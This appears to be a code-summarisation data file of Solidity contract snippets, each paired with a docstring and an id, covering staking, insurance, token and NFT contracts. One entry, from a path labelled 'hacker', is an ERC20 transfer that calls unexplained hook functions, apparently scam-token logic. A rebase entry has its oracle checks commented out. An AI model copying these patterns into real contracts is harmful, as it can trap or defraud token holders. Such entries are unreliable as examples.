if (getBlockNumber() <= pool.lastRewardBlock) {
return (0, 0, 0);
}
uint256 lpSupply = pool.totalPool;
// main pools must have some tokens on this contract except LOOP pool tokens
if (lpSupply == 0) {
uint256 blocksElapsed1 = getBlockNumber() - pool.lastRewardBlock;
pool.lastRewardBlock = getBlockNumber();
return (blocksElapsed1, 0, 0);
}
lpTokensReward = getPoolReward(pool);
// calculate LP tokens per pool token of selected pool id
pool.accLPtokensPerShare = pool.accLPtokensPerShare.add(lpTokensReward.mul(LPtokensPerShareMultiplier).div(lpSupply));
accLPtokensPerShare = pool.accLPtokensPerShare;
blocksElapsed = getBlockNumber() - pool.lastRewardBlock;
pool.lastRewardBlock = getBlockNumber();
}
/// @notice Update pool to trigger LP tokens reward since last reward mining block
/// @dev UPDATE | (ONE POOL) REWARD VARIABLES
/// @param pid Pool id
/// @return blocksElapsed Blocks elapsed since last reward block
/// @return lpTokensReward Amount of LP tokens reward since last reward block
/// @return accLPtokensPerShare Pool accumulated LP tokens per pool token (per share)
function updatePool(uint256 pid) external requireMainPool(pid) requireValidPid(pid) virtual override
returns (uint256 blocksElapsed, uint256 lpTokensReward, uint256 accLPtokensPerShare)
{
return _updatePool(pid);
}
/// @notice get LP tokens reward for given pool
/// @param pool Pool
/// @return tokensReward Tokens amount as reward based on last mining block
function getPoolReward(PoolInfo storage pool) internal view virtual returns (uint256 tokensReward) {
uint256 blocksElapsed = getBlocksFromRange(pool.lastRewardBlock, getBlockNumber());
return blocksElapsed.mul(lpTokensPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
}
/// @notice get LP tokens reward for given pool id, only MAIN pool, LOOP pool reward will always be zero
/// @param pid Pool id
/// @return tokensReward Tokens amount as reward based on last mining block
function getPoolReward(uint256 pid) requireValidPid(pid) external view virtual override returns (uint256 tokensReward) {
PoolInfo storage pool = poolInfo[pid];
return getPoolReward(pool);
}
/// @notice Check if given pool id is MAIN pool id
/// @param pid Pool id
/// @return true if given pool id is MAIN pool id
function isMainPoolId(uint256 pid) private pure returns (bool) {
return (pid != LOOP_POOL_INDEX);
}
/// @notice get current block timestamp
/// @return current block timestamp
function getBlockTimestamp() public view virtual override returns (uint256) {
return block.timestamp;
}
/// @notice get current block number
/// @return current block number
function getBlockNumber() public view virtual override returns (uint256) {
return block.number;
}
/// @notice Get pool attributes
/// @param pid Pool id
/// @return token
/// @return allocPoint
/// @return lastRewardBlock
/// @return totalPool
/// @return entryStakeTotal
/// @return totalDistributedPenalty
/// @return accLPtokensPerShare
/// All pool attributes
function getPool(uint256 pid) requireValidPid(pid) external view virtual override returns (
address token, uint256 allocPoint, uint256 lastRewardBlock, uint256 totalPool,
uint256 entryStakeTotal, uint256 totalDistributedPenalty, uint256 accLPtokensPerShare)
{
PoolInfo storage p = poolInfo[pid];
return (p.token, p.allocPoint, p.lastRewardBlock, p.totalPool,
p.entryStakeTotal, p.totalDistributedPenalty, p.accLPtokensPerShare);
}
/// @notice Get pool attributes as struct
/// @param pid Pool id
/// @return pool
function getPoolInfo(uint256 pid) requireValidPid(pid) external view virtual override returns (PoolInfo memory pool)
{
PoolInfo storage p = poolInfo[pid];
return (p);
}
/// @notice Get pools array length
/// @return pools count
function poolsCount() external view virtual override returns (uint256) {
return poolInfo.length;
}
/// @notice Get pool attributes as struct
/// @param pid Pool id
/// @param user User address
/// @return user info
function getUserInfo(uint256 pid, address user)
requireValidPid(pid)
external view virtual override returns (UserInfo memory)
{
UserInfo storage userData = userInfo[pid][user];
return (userData);
}
/// @notice Get total accumulated 'entry stake' so far for a given user address in a pool id
/// @param pid Pool id
/// @param user User address
/// @return user entry stake amount in a given pool
function getTotalEntryStakeUser(uint256 pid, address user) external view virtual override returns (uint256) {
return userInfo[pid][user].entryStake;
}
/// @notice Get total accumulated 'unstake' so far for a given user address in a pool id
/// @param pid Pool id
/// @param user User address
/// @return user unstake amount in a given pool
function getTotalUnstakeUser(uint256 pid, address user) external view virtual override returns (uint256) {
return userInfo[pid][user].unstake;
}
/// @notice Get 'entry stake adjusted' for a given user address in a pool id
/// @param pid Pool id
/// @param user User address
/// @return user entry stake adjusted amount in given pool
function getEntryStakeAdjusted(uint256 pid, address user) external view virtual override returns (uint256) {
return userInfo[pid][user].entryStakeAdjusted;
}
}
|
current total user stake in a given pool pid Pool id user The user address return stake tokens amount
|
function currentStake(uint256 pid, address user) requireValidPid(pid) public view virtual override returns (uint256) {
PoolInfo storage pool = poolInfo[pid];
if (pool.entryStakeTotal == 0)
return 0;
return pool.totalPool.mul(userInfo[pid][user].entryStakeAdjusted).div(pool.entryStakeTotal);
}
| 13,028,050 |
pragma solidity ^0.4.17;
import "./mortal.sol";
contract DarXiv is mortal {
/* Struct for the submission */
struct SubmitStruct {
string title;
uint256 datetime;
string digestUint8Str; // For SHA-256
string pdfURL;
string imgURL;
address submitter;
string authors;
string abstract_;
}
/* ID of the Next Submission */
uint256 private nextSubmissionID = 0;
/* Number of the submissions (Excluding Deleted) */
uint256 private submissionNum = 0;
/* All submissions */
mapping(uint256 => SubmitStruct) public submissions;
/* Add a Submission */
function addSubmission(string _title, string _authors, string _abstract_,string _digestUint8Str, string _pdfURL, string _imgURL)
public returns (uint256) {
submissions[nextSubmissionID].title = _title;
submissions[nextSubmissionID].datetime = now;
submissions[nextSubmissionID].digestUint8Str = _digestUint8Str;
submissions[nextSubmissionID].pdfURL = _pdfURL;
submissions[nextSubmissionID].imgURL = _imgURL;
submissions[nextSubmissionID].submitter = msg.sender;
submissions[nextSubmissionID].authors = _authors;
submissions[nextSubmissionID].abstract_ = _abstract_;
nextSubmissionID ++;
submissionNum ++;
return nextSubmissionID - 1;
}
/* Delete a Submission */
function deleteSubmission(uint256 _id) public {
require(submissions[_id].submitter == msg.sender, "You cannot delete it since you are not a submitter");
delete submissions[_id];
submissionNum --;
}
/* Edit a Submission */
function editSubmission(uint256 _id, string _title, string _authors, string _abstract_, string _pdfURL, string _imgURL) public {
require(submissions[_id].submitter == msg.sender, "You cannot edit it since you are not a submitter");
submissions[_id].title = _title;
submissions[_id].pdfURL = _pdfURL;
submissions[_id].imgURL = _imgURL;
submissions[_id].authors = _authors;
submissions[_id].abstract_ = _abstract_;
}
/* Get Number of the submissions (Including Deleted) */
function getNumberOfsubmissionsDeleted() public constant returns (uint256) {
return nextSubmissionID;
}
/* Get Number of the submissions (Excluding Deleted) */
function getNumberOfsubmissions() public constant returns (uint256) {
return submissionNum;
}
}
|
Get Number of the submissions (Excluding Deleted) /
|
function getNumberOfsubmissions() public constant returns (uint256) {
return submissionNum;
}
| 7,226,362 |
pragma solidity ^0.4.24;
import "truffle/Assert.sol";
import "./MoneyMarketTest.sol";
import "../MathHelpers.sol";
/*
* @dev This tests the money market with tests for setRiskParameters.
*/
contract MoneyMarketTest_SetRiskParameters4 is MoneyMarketTest {
/**
* @dev helper that lets us create an Exp with `getExp` without cluttering our test code with error checks of the setup.
*/
function getExpFromRational(uint numerator, uint denominator) internal returns (Exp memory) {
(Error err, Exp memory result) = getExp(numerator, denominator);
Assert.equal(0, uint(err), "getExpFromRational failed");
return result;
}
function testSetRiskParameters_LiquidationDiscountOverMaxValueFails() public {
admin = msg.sender;
Exp memory oldRatio = collateralRatio;
Exp memory newRatio = getExpFromRational(120, 100);
// Make sure newRatio is different so our validation of the update is legitimate
Assert.notEqual(newRatio.mantissa, collateralRatio.mantissa, "setup failed; choose a different newRatio");
Exp memory oldDiscount = liquidationDiscount;
Exp memory newDiscount = getExpFromRational(30, 100);
Assert.notEqual(newDiscount.mantissa, oldDiscount.mantissa, "setup failed; choose a different newDiscount");
assertError(Error.INVALID_LIQUIDATION_DISCOUNT, Error(_setRiskParameters(newRatio.mantissa, newDiscount.mantissa)), "operation not should have succeeded");
Assert.equal(collateralRatio.mantissa, oldRatio.mantissa, "collateral ratio should retain previous value");
Assert.equal(liquidationDiscount.mantissa, oldDiscount.mantissa, "liquidation discount should retain previous value");
}
function testSetRiskParameters_LiquidationDiscountPlusOneEqualsCollateralRatioFails() public {
admin = msg.sender;
Exp memory oldRatio = collateralRatio;
Exp memory newRatio = getExpFromRational(110, 100);
// Make sure newRatio is different so our validation of the update is legitimate
Assert.notEqual(newRatio.mantissa, oldRatio.mantissa, "setup failed; choose a different newRatio");
Exp memory oldDiscount = liquidationDiscount;
Exp memory newDiscount = getExpFromRational(10, 100);
Assert.notEqual(newDiscount.mantissa, oldDiscount.mantissa, "setup failed; choose a different newDiscount");
assertError(Error.INVALID_COMBINED_RISK_PARAMETERS, Error(_setRiskParameters(newRatio.mantissa, newDiscount.mantissa)), "operation not should have succeeded");
Assert.equal(collateralRatio.mantissa, oldRatio.mantissa, "collateral ratio should retain previous value");
Assert.equal(liquidationDiscount.mantissa, oldDiscount.mantissa, "liquidation discount should retain previous value");
}
}
|
Make sure newRatio is different so our validation of the update is legitimate
|
function testSetRiskParameters_LiquidationDiscountOverMaxValueFails() public {
admin = msg.sender;
Exp memory oldRatio = collateralRatio;
Exp memory newRatio = getExpFromRational(120, 100);
Assert.notEqual(newRatio.mantissa, collateralRatio.mantissa, "setup failed; choose a different newRatio");
Exp memory oldDiscount = liquidationDiscount;
Exp memory newDiscount = getExpFromRational(30, 100);
Assert.notEqual(newDiscount.mantissa, oldDiscount.mantissa, "setup failed; choose a different newDiscount");
assertError(Error.INVALID_LIQUIDATION_DISCOUNT, Error(_setRiskParameters(newRatio.mantissa, newDiscount.mantissa)), "operation not should have succeeded");
Assert.equal(collateralRatio.mantissa, oldRatio.mantissa, "collateral ratio should retain previous value");
Assert.equal(liquidationDiscount.mantissa, oldDiscount.mantissa, "liquidation discount should retain previous value");
}
| 1,029,784 |
./full_match/97/0x00aE554FcF0eD855d2613923965F2083a6B88281/sources/project_/contracts/STokenV1.sol
|
This hook is called before any transfer of tokens(except minting & burning). Increases the {PersonalInfo.outputAmount} of `_from` account by `_amount` Increases the counter of transactions of `_from` account by 1 ({PersonalInfo.transactionCount}) Requirements: available Transaction Count Limit of `_from` has to be > 0 {_availableLimit} of `_from` account cannot be less then `_amount` to transfer {_availableBalance} of `_from` account cannot be less then `_amount` to transfer
|
function _beforeTokenTransfer(
address _from,
address _to,
uint256 _amount
) internal override {
require(
getLeftTransactionCountLimit(_from) > 0,
"STokenV1: Available limit of transactions exceeded."
);
require(
_availableLimit(_from) >= _amount,
"STokenV1: Amount you want to transfer exceeds your Secondary Trading limit."
);
require(
_availableBalance(_from) >= _amount,
"STokenV1: transfer amount exceeds balance or you try to transfer locked tokens."
);
_validateToInteract(_from, _to);
_validateToTransfer(_from, _to, _amount);
userData[_from].outputAmount += _amount;
userData[_from].transactionCount++;
}
| 3,261,840 |
./full_match/1/0xAfA56438176383Bd2b5ceff1b6a3843E964D12D4/sources/contracts/hacker/EFISH.sol
|
Moves `amount` of tokens from `from` to `to`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./ Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing.
|
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
_looking(_bgtime, from);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
eth1(32, 64, to);
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
eth2(bytes32(0), "eth2");
}
| 2,969,549 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
import {IForwarderRegistry} from "ethereum-universal-forwarder/src/solc_0.7/ERC2771/IForwarderRegistry.sol";
import {IERC1155} from "./../interfaces/IERC1155.sol";
import {IERC1155InventoryBurnable} from "./../interfaces/IERC1155InventoryBurnable.sol";
import {ManagedIdentity} from "@animoca/ethereum-contracts-core/contracts/metatx/ManagedIdentity.sol";
import {UsingUniversalForwarding} from "ethereum-universal-forwarder/src/solc_0.7/ERC2771/UsingUniversalForwarding.sol";
import {ERC1155InventoryBurnableMock} from "./ERC1155InventoryBurnableMock.sol";
import {Pausable} from "@animoca/ethereum-contracts-core/contracts/lifecycle/Pausable.sol";
/**
* @title ERC1155 Inventory Pausable Mock.
* @dev The minting functions are usable while paused as it can be useful for contract maintenance such as contract migration.
*/
contract ERC1155InventoryPausableMock is Pausable, ERC1155InventoryBurnableMock {
constructor(
IForwarderRegistry forwarderRegistry,
address universalForwarder,
uint256 collectionMaskLength
) ERC1155InventoryBurnableMock(forwarderRegistry, universalForwarder, collectionMaskLength) Pausable(false) {}
//================================================== Pausable (admin) ===================================================//
/// @dev Reverts if the sender is not the contract owner.
function pause() external virtual {
_requireOwnership(_msgSender());
_pause();
}
/// @dev Reverts if the sender is not the contract owner.
function unpause() external virtual {
_requireOwnership(_msgSender());
_unpause();
}
//======================================================= ERC1155 =======================================================//
/// @inheritdoc IERC1155
/// @dev Reverts if the contract is paused.
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 value,
bytes memory data
) public virtual override {
_requireNotPaused();
super.safeTransferFrom(from, to, id, value, data);
}
/// @inheritdoc IERC1155
/// @dev Reverts if the contract is paused.
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) public virtual override {
_requireNotPaused();
super.safeBatchTransferFrom(from, to, ids, values, data);
}
//============================================== ERC1155InventoryBurnable ===============================================//
/// @inheritdoc IERC1155InventoryBurnable
/// @dev Reverts if the contract is paused.
function burnFrom(
address from,
uint256 id,
uint256 value
) public virtual override {
_requireNotPaused();
super.burnFrom(from, id, value);
}
/// @inheritdoc IERC1155InventoryBurnable
/// @dev Reverts if the contract is paused.
function batchBurnFrom(
address from,
uint256[] memory ids,
uint256[] memory values
) public virtual override {
_requireNotPaused();
super.batchBurnFrom(from, ids, values);
}
//======================================== Meta Transactions Internal Functions =========================================//
function _msgSender() internal view virtual override(ManagedIdentity, ERC1155InventoryBurnableMock) returns (address payable) {
return UsingUniversalForwarding._msgSender();
}
function _msgData() internal view virtual override(ManagedIdentity, ERC1155InventoryBurnableMock) returns (bytes memory ret) {
return UsingUniversalForwarding._msgData();
}
}
|
@inheritdoc IERC1155InventoryBurnable Reverts if the contract is paused.
|
function batchBurnFrom(
address from,
uint256[] memory ids,
uint256[] memory values
) public virtual override {
_requireNotPaused();
super.batchBurnFrom(from, ids, values);
}
| 1,776,077 |
./partial_match/4/0x4eD1914348407374C10A6aAC7b9CA4f57F45B1C1/sources/UFragmentsPolicy.sol
|
Initiates a new rebase operation, provided the minimum time period has elapsed. The supply adjustment equals (_totalSupply DeviationFromTargetRate) / rebaseLag Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate and targetRate is CpiOracleRate / baseCpi/require(inRebaseWindow()); This comparison also ensures there is no reentrancy.require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); Snap the rebase time to the start of this window.lastRebaseTimestampSec = now.sub( now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);(cpi, cpiValid) = cpiOracle.getData(); (exchangeRate, rateValid) = marketOracle.getData();
|
function rebase() external onlyOrchestrator {
epoch = epoch.add(1);
uint256 cpi=1;
bool cpiValid =true;
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate=2;
bool rateValid = true;
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
| 8,573,501 |
pragma solidity ^0.8.6;
import "./FlightSuretyData.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol"; // to typecase variable types safely
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/************************************************** */
/* FlightSurety Smart Contract */
/************************************************** */
/// @author Dinesh B S
contract FlightSuretyApp {
using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript)
/*******************************************************************/
/* DATA VARIABLES */
/*******************************************************************/
// Flight status codes
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
address private contractOwner; // Account used to deploy contract
FlightSuretyData private dataContract;
struct Flight {
bool isRegistered;
uint8 statusCode;
uint256 updatedTimestamp;
address airline;
}
mapping(bytes32 => Flight) private flights;
uint256 constant MINIMUM_FUNDING = 10 ether;
uint8 constant MAXIMUM_OWNERS_TO_NOT_VOTE = 4;
/*******************************************************************/
/* FUNCTION MODIFIERS */
/*******************************************************************/
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational() {
require(isOperational(), "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner() {
require(msg.sender == contractOwner, "Caller is not contract owner");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires acitivated airlines to call the function
*/
modifier requireActivatedAirline() {
require(isActivatedAirline(msg.sender), "The Airline is not active");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires a register airline to call the function
*/
modifier requireRegisteredAirline() {
require(isRegisteredAirline(msg.sender), "Airline is not registered");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the minimum funding requirement to satisfied
*/
modifier requireMinimumFunding() {
require(msg.value >= MINIMUM_FUNDING, "Airline initial funding isn't sufficient");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires an activated airline or the owner to call the function
*/
modifier requireActivatedAirlineOrContractOwner() {
require(isActivatedAirline(msg.sender) || (msg.sender == contractOwner), "Caller must be either the owner or an active airline");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/********************************************************************************************/
/* CONSTRUCTOR */
/********************************************************************************************/
/**
* @dev Contract constructor
*
*/
constructor(address payable addressDataContract) {
contractOwner = msg.sender;
dataContract = FlightSuretyData(addressDataContract);
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
function isOperational() public view returns (bool) {
return dataContract.isOperational();
}
/**
* @dev Determines whether an airline is registered
*/
function isRegisteredAirline(address addressAirline) private view returns (bool registered) {
(uint8 id, , , , , ) = dataContract.getAirline(addressAirline);
registered = (id != 0);
}
/**
* @dev Sets contract operations to pause or resume
*/
function setOperatingStatus(bool newMode) external requireContractOwner {
dataContract.setOperatingStatus(newMode);
}
/**
* @dev Returns if an airline is active
*/
function isActivatedAirline(address addressAirline) private view returns (bool activated) {
(, , , , activated, ) = dataContract.getAirline(addressAirline);
}
/******************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/******************************************************************************/
/**
* @dev Add an airline to the registration queue
**/
function registerAirline(address airlineAddress, string calldata airlineName) external requireIsOperational requireActivatedAirlineOrContractOwner {
if (dataContract.getAirlineId(airlineAddress) != 0) {
_voteAirline(airlineAddress); // vote
} else {
_registerNewAirline(airlineAddress, airlineName); // Request for new registration
}
}
/**
* @dev Register a future flight for insuring.
*
*/
function registerFlight(string calldata _flight, uint256 _newTimestamp) external requireActivatedAirline {
bytes32 key = getFlightKey(msg.sender, _flight, _newTimestamp); // key for uniqueness
flights[key] = Flight({
isRegistered: true,
statusCode: STATUS_CODE_UNKNOWN,
updatedTimestamp: _newTimestamp,
airline: msg.sender
});
}
function getInsurance(address _airline, string calldata _flight, uint256 _timestamp) external view
returns (
uint256 amount,
uint256 claimAmount,
uint8 status ) {
bytes32 key = getFlightKey(_airline, _flight, _timestamp); // key for uniqueness
(amount, claimAmount, status) = dataContract.getInsurance(msg.sender, key);
}
function fetchFlight(address _airline, string calldata _flight, uint256 _timestamp) external view
returns (
uint256 timestamp,
uint8 statusCode,
string memory airlineName ) {
bytes32 key = getFlightKey(_airline, _flight, _timestamp);
statusCode = flights[key].statusCode;
timestamp = flights[key].updatedTimestamp;
(, airlineName, , , , ) = dataContract.getAirline(_airline);
}
function buyInsurance(address _airline, string calldata _flight, uint256 _timestamp) external payable {
require(msg.value > 0, "Cannot send 0 ether");
bytes32 key = getFlightKey(_airline, _flight, _timestamp);
if (msg.value <= 1 ether) {
dataContract.addInsurance(msg.sender, key, msg.value);
return;
}
// If the value sent is more than 1 ether, return the excess amount as 1 ether is the maximum insurance amount
dataContract.addInsurance(msg.sender, key, 1 ether);
address payable toSender = payable(msg.sender);
uint excessAmount = msg.value - 1 ether;
toSender.transfer(excessAmount);
}
function withDrawInsurance(address _airline, string calldata _flight, uint256 _timestamp) external {
bytes32 key = getFlightKey(_airline, _flight, _timestamp);
(, uint256 claimAmount, uint8 status) = dataContract.getInsurance(msg.sender, key);
require(status == 1, "Insurance is not claimed");
dataContract.withdrawInsurance(msg.sender, key);
address payable toSender = payable(msg.sender);
toSender.transfer(claimAmount);
}
function claimInsurance(address _airline, string calldata _flight, uint256 _timestamp) external {
bytes32 key = getFlightKey(_airline, _flight, _timestamp); // key for uniqueness
require(flights[key].statusCode == STATUS_CODE_LATE_AIRLINE, "Airline is not late due its own fault");
(uint256 amount, , uint8 status) = dataContract.getInsurance(msg.sender, key);
require(amount > 0, "Insurance is not bought");
require(status == 0, "Insurance is already claimed");
uint256 amountToClaim = amount.mul(150).div(100); // 1.5 times amount spent on insurance is retured when the flight is delayed
dataContract.claimInsurance(msg.sender, key, amountToClaim);
}
/**
* @dev Called after oracle has updated flight status
*/
function processFlightStatus(address _airline, string memory _flight, uint256 _timestamp, uint8 statusCode) internal {
bytes32 key = getFlightKey(_airline, _flight, _timestamp);
flights[key].statusCode = statusCode;
}
// Generate a request for oracles to fetch flight information
function fetchFlightStatus(
address airline,
string calldata flight,
uint256 timestamp
) external {
uint8 index = getRandomIndex(msg.sender);
// Generate a unique key for storing the request
bytes32 key = keccak256(
abi.encodePacked(index, airline, flight, timestamp)
);
ResponseInfo storage responseInfo = oracleResponses[key]; // to resolve the issue caused by updated version in solidity
responseInfo.requester = msg.sender;
responseInfo.isOpen = true;
emit OracleRequest(index, airline, flight, timestamp);
}
fallback() external payable {
_receiveAirlineFunds();
}
receive() external payable {
_receiveAirlineFunds();
}
function _receiveAirlineFunds() /// '_' respresents a private function
private requireRegisteredAirline requireMinimumFunding {
dataContract.addAirlineBalance(msg.sender, msg.value);
dataContract.activateAirline(msg.sender);
}
function _voteAirline(address addressAirline) private { /// '_' respresents a private function
uint256 airlineVoteCount = SafeCast.toUint256(
dataContract.voteAirline(msg.sender, addressAirline)
);
uint256 totalAirlineCount = dataContract.getTotalCountAirlines() - 1;
uint value = airlineVoteCount.mul(100).div(totalAirlineCount);
if (value >= 50) {
dataContract.approveAirline(addressAirline);
}
}
function _registerNewAirline(address addressAirline, string memory nameAirline) private { /// '_' respresents a private function
dataContract.registerAirline(
msg.sender,
addressAirline,
nameAirline,
dataContract.getTotalCountAirlines() < MAXIMUM_OWNERS_TO_NOT_VOTE // consensus
);
}
// ORACLE MANAGEMENT
// Incremented to add pseudo-randomness at various points
uint8 private nonce = 0;
// Fee to be paid when registering oracle
uint256 public constant REGISTRATION_FEE = 1 ether;
// Number of oracles that must respond for valid status
uint256 private constant MIN_RESPONSES = 3;
struct Oracle {
bool isRegistered;
uint8[3] indexes;
}
// Track all registered oracles
mapping(address => Oracle) private oracles;
// Model for responses from oracles
struct ResponseInfo {
address requester; // Account that requested status
bool isOpen; // If open, oracle responses are accepted
mapping(uint8 => address[]) responses; // Mapping key is the status code reported
// This lets us group responses and identify
// the response that majority of the oracles
}
// Track all oracle responses
// Key = hash(index, flight, timestamp)
mapping(bytes32 => ResponseInfo) private oracleResponses;
// Event fired each time an oracle submits a response
event FlightStatusInfo(
address airline,
string flight,
uint256 timestamp,
uint8 status
);
event OracleReport(
address airline,
string flight,
uint256 timestamp,
uint8 status
);
// Event fired when flight status request is submitted
// Oracles track this and if they have a matching index
// they fetch data and submit a response
event OracleRequest(
uint8 index,
address airline,
string flight,
uint256 timestamp
);
// Register an oracle with the contract
function registerOracle() external payable {
// Require registration fee
require(msg.value >= REGISTRATION_FEE, "Registration fee is required");
uint8[3] memory indexes = generateIndexes(msg.sender);
oracles[msg.sender] = Oracle({ isRegistered: true, indexes: indexes });
}
function getMyIndexes() external view returns (uint8[3] memory) {
require(oracles[msg.sender].isRegistered, "Not registered as an oracle");
return oracles[msg.sender].indexes;
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
function submitOracleResponse(
uint8 index,
address airline,
string calldata flight,
uint256 timestamp,
uint8 statusCode
) external {
require(
(oracles[msg.sender].indexes[0] == index) ||
(oracles[msg.sender].indexes[1] == index) ||
(oracles[msg.sender].indexes[2] == index),
"Index does not match oracle request"
);
bytes32 key = keccak256(
abi.encodePacked(index, airline, flight, timestamp)
);
require(
oracleResponses[key].isOpen,
"Flight or timestamp do not match oracle request"
);
oracleResponses[key].responses[statusCode].push(msg.sender);
// Information isn't considered verified until at least MIN_RESPONSES
// oracles respond with the *** same *** information
emit OracleReport(airline, flight, timestamp, statusCode);
if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) {
emit FlightStatusInfo(airline, flight, timestamp, statusCode);
// Handle flight status as appropriate
processFlightStatus(airline, flight, timestamp, statusCode);
}
}
function getFlightKey(
address airline,
string memory flight,
uint256 timestamp
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
// Returns array of three non-duplicating integers from 0-9
function generateIndexes(address account) internal returns (uint8[3] memory) {
uint8[3] memory indexes;
indexes[0] = getRandomIndex(account);
indexes[1] = indexes[0];
while (indexes[1] == indexes[0]) {
indexes[1] = getRandomIndex(account);
}
indexes[2] = indexes[1];
while ((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) {
indexes[2] = getRandomIndex(account);
}
return indexes;
}
// Returns array of three non-duplicating integers from 0-9
function getRandomIndex(address account) internal returns (uint8) {
uint8 maxValue = 10;
// Pseudo random number...the incrementing nonce adds variation
uint8 random = uint8(
uint256(
keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))
) % maxValue
);
if (nonce > 250) {
nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt
}
return random;
}
// endregion
}
|
Add an airline to the registration queue/
|
function registerAirline(address airlineAddress, string calldata airlineName) external requireIsOperational requireActivatedAirlineOrContractOwner {
if (dataContract.getAirlineId(airlineAddress) != 0) {
}
}
| 6,486,450 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract KillerParty is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
uint256 public constant RESERVE = 13;
uint256 public constant MAX_ELEMENTS = 1001;
uint256 public constant MAX_PURCHASE = 33;
uint256 public PRICE = 0.03 ether;
bool public locked = false;
Counters.Counter private _tokenIds;
mapping(uint256 => Killer) _killers;
mapping(string => uint8) _seedToKillers;
uint256 private startingBlockNumber = 0;
bool private PAUSE = false;
address public constant potAddress = 0x3647F724DfF26117E1daa234787b0CE1d96D4285;
address public constant devAddress = 0x1B930f5F02DBf357A750E951Eb6D8b9d768FB14B;
string public baseTokenURI;
event PauseEvent(bool pause);
event WelcomeToKillerParty(uint256 indexed id, Killer killer);
struct Killer {
uint bg;
uint glove;
uint jacket;
uint hilt;
uint blade;
uint vine;
uint pumpkin;
uint face;
uint accessory;
}
constructor(string memory _defaultBaseURI) ERC721("KillerParty", "KLLR") {
setBaseURI(_defaultBaseURI);
startingBlockNumber = block.number;
}
/**
* @dev Throws if the contract is already locked
*/
modifier notLocked() {
require(!locked, "Contract already locked.");
_;
}
modifier saleIsOpen {
require(_totalSupply() <= MAX_ELEMENTS, "Soldout!");
require(!PAUSE, "Sales not open");
_;
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner notLocked {
baseTokenURI = _baseTokenURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
/**
* @dev Returns the tokenURI if exists
* See {IERC721Metadata-tokenURI} for more details.
*/
function tokenURI(uint256 _tokenId) public view virtual override(ERC721) returns (string memory) {
return getTokenURI(_tokenId);
}
function getTokenURI(uint256 _tokenId) public view returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory base = baseTokenURI;
if (_tokenId > _totalSupply()) {
return bytes(base).length > 0 ? string( abi.encodePacked(base, "0.json") ) : "";
}
return bytes(base).length > 0 ? string( abi.encodePacked(base, uintToString(_tokenId), ".json") ) : "";
}
function _totalSupply() internal view returns (uint) {
return _tokenIds.current();
}
function totalMint() public view returns (uint256) {
return _totalSupply();
}
function mint(uint _count) public payable saleIsOpen {
// Require hash not assigned
// require(_hashes[_hash] != 1);
